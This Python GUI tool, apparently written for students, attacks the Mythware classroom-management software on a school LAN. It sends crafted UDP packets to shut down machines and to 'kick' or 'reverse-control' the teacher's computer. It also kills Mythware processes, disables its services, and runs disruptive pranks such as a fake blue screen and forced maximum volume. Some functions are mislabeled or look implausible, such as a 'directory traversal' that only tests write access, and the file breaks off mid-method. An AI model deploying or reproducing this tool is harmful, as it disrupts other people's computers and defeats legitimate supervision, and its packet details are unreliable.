兴海食堂3.23-3.27

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
整合版 - 局域网管理及极域破解工具
功能集成：局域网扫描、关机控制、极域破解、系统管理
优化版本：低资源占用，兼容Windows 7/10 32/64位
"""

import socket
import threading
import tkinter as tk
from tkinter import ttk, messagebox, scrolledtext, simpledialog
import subprocess
import platform
import os
import sys
import time
import psutil
import winreg
import ctypes
import ipaddress
from datetime import datetime
from ctypes import wintypes
import concurrent.futures

# Windows API定义
kernel32 = ctypes.windll.kernel32
user32 = ctypes.windll.user32
advapi32 = ctypes.windll.advapi32

class UDPController:
    """UDP控制类 - 集成关机、消息、极域控制"""
    
    def __init__(self):
        self.sock = None
        
    def send_shutdown_packet(self, target_ip, port=4705):
        """发送关机数据包 - 极域协议"""
        try:
            shutdown_packet = bytes([
                0x44, 0x4d, 0x4f, 0x43, 0x00, 0x00, 0x01, 0x00, 0x2a, 0x02, 0x00, 0x00,
                0x14, 0x00, 0x00, 0x10, 0x0f, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00
            ])
            
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self.sock.settimeout(3)
            result = self.sock.sendto(shutdown_packet, (target_ip, port))
            self.sock.close()
            return result > 0
        except Exception as e:
            print(f"发送关机包失败: {e}")
            return False
    
    def send_message_packet(self, target_ip, message, port=4705):
        """发送消息数据包"""
        try:
            header = bytes([0x44, 0x4d, 0x4f, 0x43])
            message_bytes = message.encode('utf-8')
            packet = header + message_bytes
            
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self.sock.settimeout(3)
            result = self.sock.sendto(packet, (target_ip, port))
            self.sock.close()
            return result > 0
        except Exception as e:
            print(f"发送消息失败: {e}")
            return False
    
    def kick_teacher_packet(self, target_ip, port=4705):
        """踢出教师机数据包 - 极域专用"""
        try:
            kick_packet = bytes([
                0x44, 0x4d, 0x4f, 0x43, 0x00, 0x00, 0x01, 0x00, 0x2a, 0x02, 0x00, 0x00,
                0x14, 0x00, 0x00, 0x10, 0x0f, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00
            ])
            
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self.sock.settimeout(3)
            result = self.sock.sendto(kick_packet, (target_ip, port))
            self.sock.close()
            return result > 0
        except Exception as e:
            print(f"踢出教师机失败: {e}")
            return False
    
    def reverse_control_packet(self, target_ip, port=4705):
        """反控教师机数据包 - 极域专用"""
        try:
            reverse_packet = bytes([
                0x44, 0x4d, 0x4f, 0x43, 0x00, 0x00, 0x01, 0x00, 0x2a, 0x02, 0x00, 0x00,
                0x14, 0x00, 0x00, 0x10, 0x0f, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00
            ])
            
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self.sock.settimeout(3)
            result = self.sock.sendto(reverse_packet, (target_ip, port))
            self.sock.close()
            return result > 0
        except Exception as e:
            print(f"反控教师机失败: {e}")
            return False
    
    def detect_teacher(self, timeout=2):
        """检测教师机IP - 通过广播探测"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
            sock.settimeout(timeout)
            
            probe_packet = bytes([0x44, 0x4d, 0x4f, 0x43, 0x00, 0x00, 0x01, 0x00])
            sock.sendto(probe_packet, ('255.255.255.255', 4705))
            
            try:
                data, addr = sock.recvfrom(1024)
                return addr[0]
            except socket.timeout:
                return None
            finally:
                sock.close()
        except Exception as e:
            print(f"检测教师机失败: {e}")
            return None

class MythwareHacker:
    """极域破解核心类 - 增强版"""
    
    def __init__(self):
        self.udp_controller = UDPController()
        
    def get_teacher_ip(self):
        """检测教师机IP - 包装方法"""
        return self.udp_controller.detect_teacher()
    
    def kick_teacher(self, ip=None):
        """踢出教师机"""
        if not ip:
            ip = self.get_teacher_ip()
        if ip:
            return self.udp_controller.kick_teacher_packet(ip)
        return False
    
    def reverse_control(self, ip=None):
        """反控教师机"""
        if not ip:
            ip = self.get_teacher_ip()
        if ip:
            return self.udp_controller.reverse_control_packet(ip)
        return False
    
    def directory_traversal(self):
        """目录穿越 - 极域2012漏洞"""
        try:
            system_dirs = [
                "C:\\Windows",
                "C:\\Windows\\System32", 
                "C:\\Program Files",
                "C:\\Users",
                "C:\\ProgramData"
            ]
            
            accessible_dirs = []
            for dir_path in system_dirs:
                if os.path.exists(dir_path):
                    try:
                        # 尝试访问
                        test_file = os.path.join(dir_path, "test_access.txt")
                        with open(test_file, 'w') as f:
                            f.write("test")
                        os.remove(test_file)
                        accessible_dirs.append(dir_path)
                    except:
                        continue
                    
            return accessible_dirs
        except Exception as e:
            print(f"目录穿越失败: {e}")
            return []
    
    def kill_mythware_process(self):
        """杀死极域进程"""
        try:
            process_names = ["StudentMain.exe", "Mythware.exe", "TeacherMain.exe", 
                           "Student.exe", "StudentService.exe", "MythwareService.exe"]
            killed = 0
            
            for proc in psutil.process_iter(['name', 'pid']):
                try:
                    if proc.info['name'] in process_names:
                        proc.kill()
                        killed += 1
                        print(f"已终止进程: {proc.info['name']} (PID: {proc.info['pid']})")
                except (psutil.NoSuchProcess, psutil.AccessDenied):
                    continue
                    
            return killed
        except Exception as e:
            print(f"杀死进程失败: {e}")
            return 0
    
    def disable_mythware_service(self):
        """禁用极域服务"""
        try:
            services = ["MythwareService", "StudentService"]
            stopped = 0
            
            for service in services:
                try:
                    # 停止服务
                    subprocess.run(["sc", "stop", service], capture_output=True, 
                                 timeout=5, creationflags=subprocess.CREATE_NO_WINDOW)
                    
                    # 禁用服务
                    subprocess.run(["sc", "config", service, "start=", "disabled"], 
                                 capture_output=True, timeout=5, 
                                 creationflags=subprocess.CREATE_NO_WINDOW)
                    stopped += 1
                except:
                    continue
                    
            return stopped
        except Exception as e:
            print(f"禁用服务失败: {e}")
            return 0
    
    def prank_functions(self):
        """恶搞功能集合"""
        pranks = {
            "鼠标乱跳": self.mouse_jump,
            "屏幕闪烁": self.screen_flash,
            "假蓝屏": self.fake_blue_screen,
            "音量最大": self.max_volume,
            "键盘干扰": self.keyboard_interfere
        }
        return pranks
    
    def mouse_jump(self):
        """鼠标乱跳"""
        try:
            for i in range(20):
                x = ctypes.windll.user32.GetSystemMetrics(0) // 2
                y = ctypes.windll.user32.GetSystemMetrics(1) // 2
                ctypes.windll.user32.SetCursorPos(x + (i-10)*20, y + (i-10)*20)
                time.sleep(0.05)
            return True
        except:
            return False
    
    def keyboard_interfere(self):
        """键盘干扰"""
        try:
            for _ in range(5):
                ctypes.windll.user32.keybd_event(0x14, 0, 0, 0)  # Caps Lock
                ctypes.windll.user32.keybd_event(0x14, 0, 2, 0)  # Release
                time.sleep(0.1)
                
                ctypes.windll.user32.keybd_event(0x90, 0, 0, 0)  # Num Lock
                ctypes.windll.user32.keybd_event(0x90, 0, 2, 0)  # Release
                time.sleep(0.1)
            return True
        except:
            return False
    
    def screen_flash(self):
        """屏幕闪烁"""
        try:
            hwnd = ctypes.windll.user32.GetDesktopWindow()
            for _ in range(8):
                ctypes.windll.user32.FlashWindow(hwnd, True)
                time.sleep(0.2)
            return True
        except:
            return False
    
    def fake_blue_screen(self):
        """假蓝屏效果"""
        try:
            root = tk.Tk()
            root.attributes('-fullscreen', True)
            root.attributes('-topmost', True)
            root.configure(bg='#000080')
            
            # 蓝屏文本
            lines = [
                "你的电脑遇到问题，需要重新启动。",
                "我们只收集某些错误信息，然后为你重新启动。",
                "",
                "100% 完成",
                "",
                "有关此问题的详细信息和可能的解决方法，请访问:",
                "http://windows.com/stopcode",
                "",
                "如果致电支持人员，请向他们提供以下信息:",
                "停止代码: CRITICAL_PROCESS_DIED"
            ]
            
            for i, line in enumerate(lines):
                label = tk.Label(root, text=line, fg='white', bg='#000080', 
                               font=('Consolas', 16))
                label.place(relx=0.1, rely=0.2 + i*0.05)
            
            # 3秒后自动关闭
            root.after(3000, root.destroy)
            root.mainloop()
            return True
        except:
            return False
    
    def max_volume(self):
        """音量最大"""
        try:
            # 尝试多种音量控制方法
            methods = [
                ["nircmd", "setsysvolume", "65535"],
                ["powershell", "-c", "(New-Object -ComObject WScript.Shell).SendKeys([char]175)"]
            ]
            
            for method in methods:
                try:
                    subprocess.run(method, capture_output=True, timeout=5, 
                                 creationflags=subprocess.CREATE_NO_WINDOW)
                except:
                    continue
            return True
        except:
            return False

class OptimizedLANScanner:
    """优化版局域网扫描器 - 低资源占用，高性能"""
    
    def __init__(self):
        self.devices = []
        self.scanning = False
        self.max_workers = 30  # 控制并发数
    
    def get_local_ip(self):
        """获取本机IP - 优化版本"""
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.settimeout(0.1)
            s.connect(('8.8.8.8', 53))
            local_ip = s.getsockname()[0]
            s.close()
            return local_ip
        except:
            try:
                hostname = socket.gethostname()
                local_ip = socket.gethostbyname(hostname)
                return local_ip
            except:
                return '127.0.0.1'
    
    def get_network_range(self):
        """获取网络范围"""
        local_ip = self.get_local_ip()
        if local_ip == '127.0.0.1':
            return None
        
        ip_parts = local_ip.split('.')
        network_prefix = f"{ip_parts[0]}.{ip_parts[1]}.{ip_parts[2]}."
        
        # 默认扫描整个C类网络
        return [f"{network_prefix}{i}" for i in range(1, 255)]
    
    def ping_device_fast(self, ip):
        """快速ping检测"""
        try:
            if platform.system().lower() == "windows":
                result = subprocess.run(["ping", "-n", "1", "-w", "300", ip], 
                                      capture_output=True, timeout=1, 
                                      creationflags=subprocess.CREATE_NO_WINDOW)
                return result.returncode == 0 and "TTL=" in result.stdout.decode('gbk', errors='ignore')
            else:
                result = subprocess.run(["ping", "-c", "1", "-W", "1", ip], 
                                      capture_output=True, timeout=1)
                return result.returncode == 0
        except:
            return False
    
    def scan_network_optimized(self, callback=None, progress_callback=None):
        """优化扫描 - 使用线程池"""
        self.devices = []
        self.scanning = True
        
        try:
            ip_list = self.get_network_range()
            if not ip_list:
                return []
            
            total_ips = len(ip_list)
            scanned = 0
            
            def check_ip(ip):
                if not self.scanning:
                    return None
                
                if self.ping_device_fast(ip):
                    # 尝试获取主机名
                    try:
                        hostname = socket.gethostbyaddr(ip)[0]
                    except:
                        hostname = f"PC-{ip.split('.')[-1]}"
                    
                    return {"ip": ip, "name": hostname}
                return None
            
            # 使用线程池并发扫描
            with concurrent.futures.ThreadPoolExecutor(max_workers=self.max_workers) as executor:
                futures = {executor.submit(check_ip, ip): ip for ip in ip_list[:150]}  # 只扫描前150个IP
                
                for future in concurrent.futures.as_completed(futures):
                    if not self.scanning:
                        break
                    
                    scanned += 1
                    if progress_callback:
                        progress_callback(scanned, total_ips)
                    
                    result = future.result()
                    if result:
                        self.devices.append(result)
                        if callback:
                            callback(self.devices)
            
            return self.devices
            
        except Exception as e:
            print(f"扫描失败: {e}")
            return []
        finally:
            self.scanning = False
    
    def stop_scan(self):
        """停止扫描"""
        self.scanning = False

class NetworkManagerGUI:
    """网络管理器GUI界面 - 集成版"""
    
    def __init__(self):
        # 初始化主窗口
        self.root = tk.Tk()
        self.root.title("网络管理与极域破解工具 v3.0")
        self.root.geometry("900x650")
        
        # 设置窗口图标
        try:
            self.root.iconbitmap(default='icon.ico')
        except:
            pass
        
        # 初始化组件
        self.udp_controller = UDPController()
        self.hacker = MythwareHacker()
        self.scanner = OptimizedLANScanner()
        
        # 存储选择的设备
        self.selected_devices = set()
        self.device_vars = {}  # 存储复选框变量
        
        # 设置界面
        self.setup_ui()
        
        # 状态变量
        self.scan_thread = None
        self.is_scanning = False
        
    def setup_ui(self):
        """设置用户界面"""
        # 设置样式
        style = ttk.Style()
        style.theme_use('clam')
        
        # 主框架
        main_frame = ttk.Frame(self.root, padding="10")
        main_frame.pack(fill=tk.BOTH, expand=True)
        
        # 标题
        title_frame = ttk.Frame(main_frame)
        title_frame.pack(fill=tk.X, pady=(0, 10))
        
        title_label = tk.Label(title_frame, text="网络管理与极域破解工具", 
                              font=("微软雅黑", 16, "bold"), fg="#2c3e50")
        title_label.pack()
        
        subtitle_label = tk.Label(title_frame, text="集成局域网管理、设备控制、极域破解功能", 
                                 font=("微软雅黑", 10), fg="#7f8c8d")
        subtitle_label.pack()
        
        # 选项卡控件
        notebook = ttk.Notebook(main_frame)
        notebook.pack(fill=tk.BOTH, expand=True, pady=5)
        
        # 选项卡1: 设备扫描
        scan_tab = ttk.Frame(notebook, padding="10")
        notebook.add(scan_tab, text="设备扫描")
        self.setup_scan_tab(scan_tab)
        
        # 选项卡2: 控制中心
        control_tab = ttk.Frame(notebook, padding="10")
        notebook.add(control_tab, text="控制中心")
        self.setup_control_tab(control_tab)
        
        # 选项卡3: 极域破解
        mythware_tab = ttk.Frame(notebook, padding="10")
        notebook.add(mythware_tab, text="极域破解")
        self.setup_mythware_tab(mythware_tab)
        
        # 选项卡4: 系统工具
        tools_tab = ttk.Frame(notebook, padding="10")
        notebook.add(tools_tab, text="系统工具")
        self.setup_tools_tab(tools_tab)
        
        # 日志区域
        self.setup_log_area(main_frame)
        
        # 状态栏
        self.setup_status_bar(main_frame)
    
    def setup_scan_tab(self, parent):
        """设置设备扫描选项卡"""
        # 扫描控制区域
        control_frame = ttk.LabelFrame(parent, text="扫描控制", padding="10")
        control_frame.pack(fill=tk.X, pady=(0, 10))
        
        # 控制按钮
        btn_frame = ttk.Frame(control_frame)
        btn_frame.pack(fill=tk.X)
        
        self.scan_btn = ttk.Button(btn_frame, text="开始扫描", 
                                  command=self.start_scan_thread, width=12)
        self.scan_btn.pack(side=tk.LEFT, padx=5)
        
        self.stop_btn = ttk.Button(btn_frame, text="停止扫描", 
                                  command=self.stop_scan_thread, width=12, state=tk.DISABLED)
        self.stop_btn.pack(side=tk.LEFT, padx=5)
        
        self.detect_teacher_btn = ttk.Button(btn_frame, text="检测教师机", 
                                           command=self.detect_teacher, width=12)
        self.detect_teacher_btn.pack(side=tk.LEFT, padx=5)
        
        self.clear_btn = ttk.Button(btn_frame, text="清空列表", 
                                  command=self.clear_device_list, width=12)
        self.clear_btn.pack(side=tk.LEFT, padx=5)
        
        # 进度条
        self.progress_var = tk.DoubleVar()
        self.progress_bar = ttk.Progressbar(control_frame, variable=self.progress_var, 
                                          maximum=100, mode='determinate')
        self.progress_bar.pack(fill=tk.X, pady=(10, 0))
        
        # 设备列表区域
        list_frame = ttk.LabelFrame(parent, text="在线设备", padding="5")
        list_frame.pack(fill=tk.BOTH, expand=True)
        
        # 设备列表容器
        container_frame = ttk.Frame(list_frame)
        container_frame.pack(fill=tk.BOTH, expand=True)
        
        # 列表头
        header_frame = ttk.Frame(container_frame)
        header_frame.pack(fill=tk.X, pady=(0, 5))
        
        ttk.Label(header_frame, text="选择", width=8).pack(side=tk.LEFT, padx=2)
        ttk.Label(header_frame, text="设备名称", width=20).pack(side=tk.LEFT, padx=2)
        ttk.Label(header_frame, text="IP地址", width=15).pack(side=tk.LEFT, padx=2)
        ttk.Label(header_frame, text="状态", width=10).pack(side=tk.LEFT, padx=2)
        ttk.Label(header_frame, text="操作", width=15).pack(side=tk.LEFT, padx=2)
        
        # 创建滚动区域
        canvas = tk.Canvas(container_frame)
        scrollbar = ttk.Scrollbar(container_frame, orient=tk.VERTICAL, command=canvas.yview)
        
        self.scrollable_frame = ttk.Frame(canvas)
        self.scrollable_frame.bind(
            "",
            lambda e: canvas.configure(scrollregion=canvas.bbox("all"))
        )
        
        canvas.create_window((0, 0), window=self.scrollable_frame, anchor="nw")
        canvas.configure(yscrollcommand=scrollbar.set)
        
        canvas.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
        scrollbar.pack(side=tk.RIGHT, fill=tk.Y)
    
    def setup_control_tab(self, parent):
        """设置控制中心选项卡"""
        # 设备控制区域
        control_frame = ttk.LabelFrame(parent, text="设备控制", padding="10")
        control_frame.pack(fill=tk.X, pady=(0, 10))
        
        # 批量操作按钮
        batch_frame = ttk.Frame(control_frame)
        batch_frame.pack(fill=tk.X, pady=5)
        
        ttk.Button(batch_frame, text="关机选中设备", 
                  command=self.shutdown_selected).pack(side=tk.LEFT, padx=5)
        ttk.Button(batch_frame, text="发送消息到选中", 
                  command=self.send_message).pack(side=tk.LEFT, padx=5)
        ttk.Button(batch_frame, text="批量关机所有设备", 
                  command=self.batch_shutdown).pack(side=tk.LEFT, padx=5)
        ttk.Button(batch_frame, text="全选设备", 
                  command=self.select_all_devices).pack(side=tk.LEFT, padx=5)
        ttk.Button(batch_frame, text="取消全选", 
                  command=self.deselect_all_devices).pack(side=tk.LEFT, padx=5)
        
        # 快速控制区域
        quick_frame = ttk.LabelFrame(parent, text="快速控制", padding="10")
        quick_frame.pack(fill=tk.X, pady=(0, 10))
        
        quick_btn_frame = ttk.Frame(quick_frame)
        quick_btn_frame.pack()
        
        ttk.Button(quick_btn_frame, text="关闭教师机", 
                  command=lambda: self.quick_control("teacher_shutdown")).pack(side=tk.LEFT, padx=5)
        ttk.Button(quick_btn_frame, text="踢出教师机", 
                  command=lambda: self.quick_control("kick_teacher")).pack(side=tk.LEFT, padx=5)
        ttk.Button(quick_btn_frame, text="反控教师机", 
                  command=lambda: self.quick_control("reverse_control")).pack(side=tk.LEFT, padx=5)
        
        # 消息发送区域
        msg_frame = ttk.LabelFrame(parent, text="消息发送", padding="10")
        msg_frame.pack(fill=tk.X)
        
        self.message_var = tk.StringVar(value="系统即将关机，请保存您的工作！")
        msg_entry = ttk.Entry(msg_frame, textvariable=self.message_var, width=50)
        msg_entry.pack(side=tk.LEFT, padx=5, fill=tk.X, expand=True)
        
        ttk.Button(msg_frame, text="发送消息", 
                  command=lambda: self.send_message_custom()).pack(side=tk.RIGHT)
    
    def setup_mythware_tab(self, parent):
        """设置极域破解选项卡"""
        # 教师机控制
        teacher_frame = ttk.LabelFrame(parent, text="教师机控制", padding="10")
        teacher_frame.pack(fill=tk.X, pady=(0, 10))
        
        teacher_btn_frame = ttk.Frame(teacher_frame)
        teacher_btn_frame.pack()
        
        ttk.Button(teacher_btn_frame, text="踢出教师机", 
                  command=self.kick_teacher).pack(side=tk.LEFT, padx=5, pady=2)
        ttk.Button(teacher_btn_frame, text="反控教师机", 
                  command=self.reverse_control).pack(side=tk.LEFT, padx=5, pady=2)
        ttk.Button(teacher_btn_frame, text="检测教师机", 
                  command=self.detect_teacher).pack(side=tk.LEFT, padx=5, pady=2)
        
        # 极域破解功能
        hack_frame = ttk.LabelFrame(parent, text="破解功能", padding="10")
        hack_frame.pack(fill=tk.X, pady=(0, 10))
        
        hack_btn_frame = ttk.Frame(hack_frame)
        hack_btn_frame.pack()
        
        functions = [
            ("目录穿越", self.directory_traversal),
            ("杀死极域进程", self.kill_mythware),
            ("禁用极域服务", self.disable_mythware),
            ("恢复极域服务", self.restore_mythware)
        ]
        
        for i, (text, command) in enumerate(functions):
            row = i // 2
            col = i % 2
            btn = ttk.Button(hack_btn_frame, text=text, command=command, width=15)
            btn.grid(row=row, column=col, padx=5, pady=5, sticky="ew")
        
        # 恶搞功能
        prank_frame = ttk.LabelFrame(parent, text="恶搞功能", padding="10")
        prank_frame.pack(fill=tk.X)
        
        prank_btn_frame = ttk.Frame(prank_frame)
        prank_btn_frame.pack()
        
        pranks = self.hacker.prank_functions()
        for i, (name, func) in enumerate(pranks.items()):
            row = i // 3
            col = i % 3
            btn = ttk.Button(prank_btn_frame, text=name, command=func, width=12)
            btn.grid(row=row, column=col, padx=5, pady=5, sticky="ew")
    
    def setup_tools_tab(self, parent):
        """设置系统工具选项卡"""
        # 网络工具
        network_frame = ttk.LabelFrame(parent, text="网络工具", padding="10")
        network_frame.pack(fill=tk.X, pady=(0, 10))
        
        network_btn_frame = ttk.Frame(network_frame)
        network_btn_frame.pack()
        
        network_tools = [
            ("Ping测试", self.ping_test),
            ("网络诊断", self.network_diagnose),
            ("查看ARP表", self.show_arp),
            ("刷新DNS", self.flush_dns)
        ]
        
        for i, (text, command) in enumerate(network_tools):
            row = i // 2
            col = i % 2
            btn = ttk.Button(network_btn_frame, text=text, command=command, width=15)
            btn.grid(row=row, column=col, padx=5, pady=5, sticky="ew")
        
        # 系统工具
        system_frame = ttk.LabelFrame(parent, text="系统工具", padding="10")
        system_frame.pack(fill=tk.X, pady=(0, 10))
        
        system_btn_frame = ttk.Frame(system_frame)
        system_btn_frame.pack()
        
        system_tools = [
            ("任务管理器", self.open_taskmgr),
            ("注册表编辑器", self.open_regedit),
            ("系统信息", self.show_system_info),
            ("清理垃圾", self.clean_temp)
        ]
        
        for i, (text, command) in enumerate(system_tools):
            row = i // 2
            col = i % 2
            btn = ttk.Button(system_btn_frame, text=text, command=command, width=15)
            btn.grid(row=row, column=col, padx=5, pady=5, sticky="ew")
        
        # 信息显示
        info_frame = ttk.LabelFrame(parent, text="系统信息", padding="10")
        info_frame.pack(fill=tk.X)
        
        self.info_text = scrolledtext.ScrolledText(info_frame, height=8, width=60)
        self.info_text.pack(fill=tk.BOTH, expand=True)
        
        # 显示基本信息
        self.show_basic_info()
    
    def setup_log_area(self, parent):
        """设置日志区域"""
        log_frame = ttk.LabelFrame(parent, text="操作日志", padding="5")
        log_frame.pack(fill=tk.BOTH, pady=5, ipady=5)
        
        self.log_text = scrolledtext.ScrolledText(log_frame, height=8)
        self.log_text.pack(fill=tk.BOTH, expand=True)
        
        # 日志控制按钮
        log_control_frame = ttk.Frame(log_frame)
        log_control_frame.pack(fill=tk.X, pady=(5, 0))
        
        ttk.Button(log_control_frame, text="清空日志", 
                  command=self.clear_log).pack(side=tk.RIGHT, padx=5)
        ttk.Button(log_control_frame, text="保存日志", 
                  command=self.save_log).pack(side=tk.RIGHT, padx=5)
    
    def setup_status_bar(self, parent):
        """设置状态栏"""
        status_frame = ttk.Frame(parent, relief=tk.SUNKEN)
        status_frame.pack(fill=tk.X, side=tk.BOTTOM)
        
        self.status_var = tk.StringVar(value="就绪")
        status_label = ttk.Label(status_frame, textvariable=self.status_var)
        status_label.pack(side=tk.LEFT, padx=5)
        
        # 设备计数
        self.device_count_var = tk.StringVar(value="设备: 0")
        device_label = ttk.Label(status_frame, textvariable=self.device_count_var)
        device_label.pack(side=tk.RIGHT, padx=5)
        
        # 扫描进度
        self.scan_progress_var = tk.StringVar(value="")
        progress_label = ttk.Label(status_frame, textvariable=self.scan_progress_var)
        progress_label.pack(side=tk.RIGHT, padx=5)
    
    def log_message(self, message, level="INFO"):
        """添加日志消息"""
        timestamp = datetime.now().strftime("%H:%M:%S")
        level_colors = {
            "INFO": "",
            "SUCCESS": "green",
            "WARNING": "orange",
            "ERROR": "red"
        }
        
        log_entry = f"[{timestamp}] [{level}] {message}\n"
        self.log_text.insert(tk.END, log_entry)
        
        # 设置颜色
        if level in level_colors and level_colors[level]:
            start_index = self.log_text.search(log_entry.split("]")[2].strip(), "1.0", tk.END)
            if start_index:
                end_index = f"{start_index}+{len(log_entry.split(']')[2].strip())}c"
                self.log_text.tag_add(level, start_index, end_index)
                self.log_text.tag_config(level, foreground=level_colors[level])
        
        self.log_text.see(tk.END)
        self.status_var.set(message)
    
    def start_scan_thread(self):
        """开始扫描线程"""
        if self.is_scanning:
            return
        
        self.is_scanning = True
        self.scan_btn.config(state=tk.DISABLED)
        self.stop_btn.config(state=tk.NORMAL)
        
        # 清空设备列表
        for widget in self.scrollable_frame.winfo_children():
            widget.destroy()
        self.device_vars.clear()
        self.selected_devices.clear()
        
        self.log_message("开始扫描局域网...", "INFO")
        
        def scan_thread():
            try:
                devices = self.scanner.scan_network_optimized(
                    callback=self.update_devices_list,
                    progress_callback=self.update_progress
                )
                
                self.root.after(0, lambda: self.log_message(
                    f"扫描完成，发现 {len(devices)} 个在线设备", "SUCCESS"
                ))
                self.root.after(0, lambda: self.device_count_var.set(f"设备: {len(devices)}"))
                
            except Exception as e:
                self.root.after(0, lambda: self.log_message(f"扫描失败: {str(e)}", "ERROR"))
            finally:
                self.root.after(0, self.scan_complete)
        
        self.scan_thread = threading.Thread(target=scan_thread, daemon=True)
        self.scan_thread.start()
    
    def stop_scan_thread(self):
        """停止扫描"""
        self.scanner.stop_scan()
        self.is_scanning = False
        self.log_message("扫描已停止", "INFO")
        self.scan_complete()
    
    def scan_complete(self):
        """扫描完成"""
        self.is_scanning = False
        self.scan_btn.config(state=tk.NORMAL)
        self.stop_btn.config(state=tk.DISABLED)
        self.progress_var.set(0)
        self.scan_progress_var.set("")
    
    def update_progress(self, scanned, total):
        """更新进度"""
        progress = (scanned / total) * 100
        self.root.after(0, lambda: self.progress_var.set(progress))
        self.root.after(0, lambda: self.scan_progress_var.set(f"扫描: {scanned}/{total}"))
    
    def update_devices_list(self, devices):
        """更新设备列表"""
        def update():
            # 清空现有列表
            for widget in self.scrollable_frame.winfo_children():
                widget.destroy()
            
            # 添加设备行
            for device in devices:
                row_frame = ttk.Frame(self.scrollable_frame)
                row_frame.pack(fill=tk.X, pady=1)
                
                # 选择框
                var = tk.BooleanVar()
                check = ttk.Checkbutton(row_frame, variable=var)
                check.pack(side=tk.LEFT, padx=5)
                self.device_vars[device['ip']] = var
                
                # 设备名称
                name_label = ttk.Label(row_frame, text=device['name'][:20], width=20)
                name_label.pack(side=tk.LEFT, padx=2)
                
                # IP地址
                ip_label = ttk.Label(row_frame, text=device['ip'], width=15)
                ip_label.pack(side=tk.LEFT, padx=2)
                
                # 状态
                status_label = ttk.Label(row_frame, text="在线", width=10)
                status_label.pack(side=tk.LEFT, padx=2)
                
                # 操作按钮
                btn_frame = ttk.Frame(row_frame)
                btn_frame.pack(side=tk.LEFT, padx=2)
                
                ttk.Button(btn_frame, text="关机", width=6,
                          command=lambda ip=device['ip']: self.shutdown_device(ip)).pack(side=tk.LEFT, padx=1)
                ttk.Button(btn_frame, text="消息", width=6,
                          command=lambda ip=device['ip']: self.send_to_device(ip)).pack(side=tk.LEFT, padx=1)
        
        self.root.after(0, update)
    
    def clear_device_list(self):
        """清空设备列表"""
        for widget in self.scrollable_frame.winfo_children():
            widget.destroy()
        self.device_vars.clear()
        self.selected_devices.clear()
        self.device_count_var.set("设备: 0")
        self.log_message("已清空设备列表", "INFO")
    
    def detect_teacher(self):
        """检测教师机"""
        self.log_message("正在检测教师机...", "INFO")
        
        def detect_thread():
            teacher_ip = self.hacker.get_teacher_ip()
            if teacher_ip:
                self.root.after(0, lambda: self.log_message(f"检测到教师机: {teacher_ip}", "SUCCESS"))
            else:
                self.root.after(0, lambda: self.log_message("未检测到教师机", "WARNING"))
        
        threading.Thread(target=detect_thread, daemon=True).start()
    
    def kick_teacher(self):
        """踢出教师机"""
        self.log_message("尝试踢出教师机...", "INFO")
        
        def kick_thread():
            success = self.hacker.kick_teacher()
            if success:
                self.root.after(0, lambda: self.log_message("踢出教师机命令已发送", "SUCCESS"))
            else:
                self.root.after(0, lambda: self.log_message("踢出教师机失败", "ERROR"))
        
        threading.Thread(target=kick_thread, daemon=True).start()
    
    def reverse_control(self):
        """反控教师机"""
        self.log_message("尝试反控教师机...", "INFO")
        
        def reverse_thread():
            success = self.hacker.reverse_control()
            if success:
                self.root.after(0, lambda: self.log_message("反控命令已发送", "SUCCESS"))
            else:
                self.root.after(0, lambda: self.log_message("反控失败", "ERROR"))
        
        threading.Thread(target=reverse_thread, daemon=True).start()
    
    def directory_traversal(self):
        """目录穿越"""
        self.log_message("尝试目录穿越...", "INFO")
        dirs = self.hacker.directory_traversal()
        if dirs:
            self.log_message(f"可访问目录: {', '.join(dirs)}", "SUCCESS")
        else:
            self.log_message("目录穿越失败或无权限", "WARNING")
    
    def kill_mythware(self):
        """杀死极域进程"""
        self.log_message("尝试杀死极域进程...", "INFO")
        killed = self.hacker.kill_mythware_process()
        if killed > 0:
            self.log_message(f"已杀死 {killed} 个极域进程", "SUCCESS")
        else:
            self.log_message("未找到极域进程", "WARNING")
    
    def disable_mythware(self):
        """禁用极域服务"""
        self.log_message("尝试禁用极域服务...", "INFO")
        stopped = self.hacker.disable_mythware_service()
        if stopped > 0:
            self.log_message(f"已停止 {stopped} 个极域服务", "SUCCESS")
        else:
            self.log_message("未找到极域服务", "WARNING")
    
    def restore_mythware(self):
        """恢复极域服务"""
        self.log_message("恢复极域服务功能未实现", "WARNING")
    
    def shutdown_selected(self):
        """关机关机选中设备"""
        selected_ips = [ip for ip, var in self.device_vars.items() if var.get()]
        
        if not selected_ips:
            messagebox.showwarning("警告", "请先选择要关机的设备")
            return
        
        confirm = messagebox.askyesno("确认", f"确定要关机 {len(selected_ips)} 个选中的设备吗？")
        if not confirm:
            return
        
        self.log_message(f"开始关机 {len(selected_ips)} 个选中设备...", "INFO")
        
        def shutdown_thread():
            success_count = 0
            for ip in selected_ips:
                success = self.udp_controller.send_shutdown_packet(ip)
                if success:
                    success_count += 1
                    self.root.after(0, lambda ip=ip: self.log_message(f"关机命令发送成功: {ip}", "SUCCESS"))
                else:
                    self.root.after(0, lambda ip=ip: self.log_message(f"关机命令发送失败: {ip}", "ERROR"))
                time.sleep(0.3)
            
            self.root.after(0, lambda: self.log_message(
                f"关机操作完成，成功: {success_count}/{len(selected_ips)}", "INFO"
            ))
        
        threading.Thread(target=shutdown_thread, daemon=True).start()
    
    def shutdown_device(self, ip):
        """关闭单个设备"""
        confirm = messagebox.askyesno("确认", f"确定要关机设备 {ip} 吗？")
        if not confirm:
            return
        
        self.log_message(f"尝试关机设备: {ip}", "INFO")
        
        def shutdown_single():
            success = self.udp_controller.send_shutdown_packet(ip)
            if success:
                self.root.after(0, lambda: self.log_message(f"关机命令发送成功: {ip}", "SUCCESS"))
            else:
                self.root.after(0, lambda: self.log_message(f"关机命令发送失败: {ip}", "ERROR"))
        
        threading.Thread(target=shutdown_single, daemon=True).start()
    
    def send_message(self):
